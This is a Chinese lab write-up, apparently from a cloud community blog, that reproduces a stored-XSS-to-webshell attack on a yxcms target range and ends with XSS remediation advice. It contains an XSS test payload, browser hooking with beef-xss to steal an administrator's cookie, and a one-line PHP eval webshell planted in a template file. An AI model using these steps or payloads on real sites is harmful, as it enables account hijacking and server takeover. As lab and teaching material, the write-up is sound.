yxcms存储型XSS至getshell 漏洞复现

举报
Vista_AX 发表于 2023/06/30 20:56:51 2023/06/30
【摘要】 yxcms存储型XSS至getshell 漏洞复现

01 环境部署


(1)yxcms

yxcms 基于 PHP+MySQL 开发,这是一个采用轻量级 MVC 设计模式的网站管理系统。轻量级 MVC 设计模型使网站系统更加紧凑,且支持自定义表功能,使整个网站的数据结构设计更为灵活,也可以支持将图集、文章拓展成为其他实例,比如展品、分类等栏目。

本靶场中将使用 YXCMS 作为 Windows 7 边界服务器上开启的 Web 应用。

(2)phpStudy

phpStudy 是一款用于进行 PHP 环境调试的程序集成软件包。在软件安装后便
启动了 MySQL 服务、Apache 服务、PHP 设置等模块,是一款便捷的 PHP 环境调试工具。

phpStudy 在本靶场中用于在 Windows 7 上搭建 Web 服务。

02 漏洞配置

XSS 是一种常见的 Web 应用漏洞,该漏洞的产生是由于网站将用户输入的恶意代码不经过滤便输出到页面,导致恶意语句被执行,造成客户端被攻击的危害。

在攻击者进行测试的时候,通常涉及到的业务功能处有:用户留言板、用户反馈、用户发帖、用户个人信息修改等。

本靶场配置了 yxcms 留言板功能存储型 XSS。

image.png

03 利用方式

访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

image.png


模拟管理员登入后台查看留言管理,发现出现弹框

image.png


确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123

image.png


访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录

image.png


使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论

image.png


模拟后台管理员进行内容审核操作

image.png


在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie

image.png

利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie

image.png


使用浏览器重新访问后台网站,发现直接登录后台管理页面

image.png

成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:

<?php eval($_POST["jkxy"]);?>

image.png


中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

image.png

测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell

image.png

image.png

至此攻击者通过存储型XSS至getshell,成功获取服务器权限。



04 修复方案


1、对用户提交的数据在输出返回浏览器前进行转义,对特殊字符如;尖括号,括号,单引号,双引号,反斜线等进行HTML字符实体转义。

2、某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。

3、数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。

4、明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

5、注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。